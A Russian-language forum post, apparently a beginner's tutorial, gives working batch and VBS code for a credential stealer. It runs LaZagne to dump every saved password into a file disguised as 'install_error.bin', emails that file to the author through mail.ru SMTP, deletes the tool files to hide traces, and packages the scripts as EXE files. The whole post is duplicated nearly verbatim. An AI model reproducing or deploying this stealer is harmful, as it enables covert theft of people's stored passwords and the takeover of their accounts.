Это моя первая тема, так что не абесуйте..
Писалось с телефона..
Нам понадобится:
1. LaZagne - прога для восстановления паролей и записи их в файл.
2. Batch файл для запуска LaZagne и указания директории сохранения отчета и его имени.
3. Скрипт на VBS для отправки письма на почтовый адрес.
4. Конвертер VBS to EXE(по желанию, можно и без него).
5. Конвертер BAT to EXE.
Шаг 1.
Создаем Batch файл со следующими строками:
@Echo off
laZagne.exe all > D:\install_error.bin
TIMEOUT /T 2
sender.exe
TIMEOUT /T 5
del /s "%UserProfile%\Downloads\laZagne.exe"
del /s "%UserProfile%\Downloads\SENDER.exe"
del /s "%UserProfile%\Desktop\laZagne.exe"
del /s "%UserProfile%\Desktop\SENDER.exe"
где "D:\install_error.bin" - директория и имя сохраненного отчета, TIMEOUT - необходим для ожидания создания отчета(в среднем занимает этот процесс 1 секунду для 100 паролей).
Шаг 2.
Создаем обычный текстовый документ в Notepad++, например. И сохраняем его в формате .vbs
Код:
Dim o_Mess, v_Conf
v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
Set o_Mess = CreateObject("CDO.Message")
With o_Mess
.To = "получатель@mail.ru" 'куда отправляем
.From = "Имя <отправитель@mail.ru>" 'имя отправителя + Email
.Subject = "Log" 'Тема письма
.TextBody = "BodyMail" 'Сообщение
.AddAttachment "D:\install_error.bin" 'Прикрепить файл
.TextBodyPart.Charset = "windows-1251" 'русская кодировка
With .Configuration.Fields
.Item(v_Conf & "sendusing") = 2 'без использования каталога Server Exchange
.Item(v_Conf & "smtpserver") = "smtp.mail.ru" 'Адрес SMTP-сервера
.Item(v_Conf & "smtpauthenticate") = 1 'Тип авторизации
.Item(v_Conf & "sendusername") = "отправитель@mail.ru" 'здесь имя пользователя
.Item(v_Conf & "sendpassword") = "пароль отправителя" 'пароль
.Item(v_Conf & "smtpserverport") = 465 'порт (альтернативный - 465)
.Item(v_Conf & "smtpusessl") = True 'использовать ли шифрованое подключение SSL
.Item(v_Conf & "smtpconnectiontimeout") = 60 'Время до завершения повторных попыток подключения
.Update
End With
.send
End With
Set o_Mess = Nothing
Шаг 3.
Компилируем данную кашу через BAT to EXE конвертер.
Примечание: Обратите внимание на файл SENDER.EXE, в данном случае использовался конвертер VBS to EXE.
После, сохраняем наш .exe файл и запускаем его.
Шаг 4.
Заходим на почтовый ящик и проверяем письмо.
Шаг 5.
Открываем файл у себя на компьютере через текстовый редактор и радуемся профиту.
Писалось с телефона..
Нам понадобится:
1. LaZagne - прога для восстановления паролей и записи их в файл.
2. Batch файл для запуска LaZagne и указания директории сохранения отчета и его имени.
3. Скрипт на VBS для отправки письма на почтовый адрес.
4. Конвертер VBS to EXE(по желанию, можно и без него).
5. Конвертер BAT to EXE.
Шаг 1.
Создаем Batch файл со следующими строками:
@Echo off
laZagne.exe all > D:\install_error.bin
TIMEOUT /T 2
sender.exe
TIMEOUT /T 5
del /s "%UserProfile%\Downloads\laZagne.exe"
del /s "%UserProfile%\Downloads\SENDER.exe"
del /s "%UserProfile%\Desktop\laZagne.exe"
del /s "%UserProfile%\Desktop\SENDER.exe"
где "D:\install_error.bin" - директория и имя сохраненного отчета, TIMEOUT - необходим для ожидания создания отчета(в среднем занимает этот процесс 1 секунду для 100 паролей).
Шаг 2.
Создаем обычный текстовый документ в Notepad++, например. И сохраняем его в формате .vbs
Код:
Dim o_Mess, v_Conf
v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
Set o_Mess = CreateObject("CDO.Message")
With o_Mess
.To = "получатель@mail.ru" 'куда отправляем
.From = "Имя <отправитель@mail.ru>" 'имя отправителя + Email
.Subject = "Log" 'Тема письма
.TextBody = "BodyMail" 'Сообщение
.AddAttachment "D:\install_error.bin" 'Прикрепить файл
.TextBodyPart.Charset = "windows-1251" 'русская кодировка
With .Configuration.Fields
.Item(v_Conf & "sendusing") = 2 'без использования каталога Server Exchange
.Item(v_Conf & "smtpserver") = "smtp.mail.ru" 'Адрес SMTP-сервера
.Item(v_Conf & "smtpauthenticate") = 1 'Тип авторизации
.Item(v_Conf & "sendusername") = "отправитель@mail.ru" 'здесь имя пользователя
.Item(v_Conf & "sendpassword") = "пароль отправителя" 'пароль
.Item(v_Conf & "smtpserverport") = 465 'порт (альтернативный - 465)
.Item(v_Conf & "smtpusessl") = True 'использовать ли шифрованое подключение SSL
.Item(v_Conf & "smtpconnectiontimeout") = 60 'Время до завершения повторных попыток подключения
.Update
End With
.send
End With
Set o_Mess = Nothing
Шаг 3.
Компилируем данную кашу через BAT to EXE конвертер.
Примечание: Обратите внимание на файл SENDER.EXE, в данном случае использовался конвертер VBS to EXE.
После, сохраняем наш .exe файл и запускаем его.
Шаг 4.
Заходим на почтовый ящик и проверяем письмо.
Шаг 5.
Открываем файл у себя на компьютере через текстовый редактор и радуемся профиту.
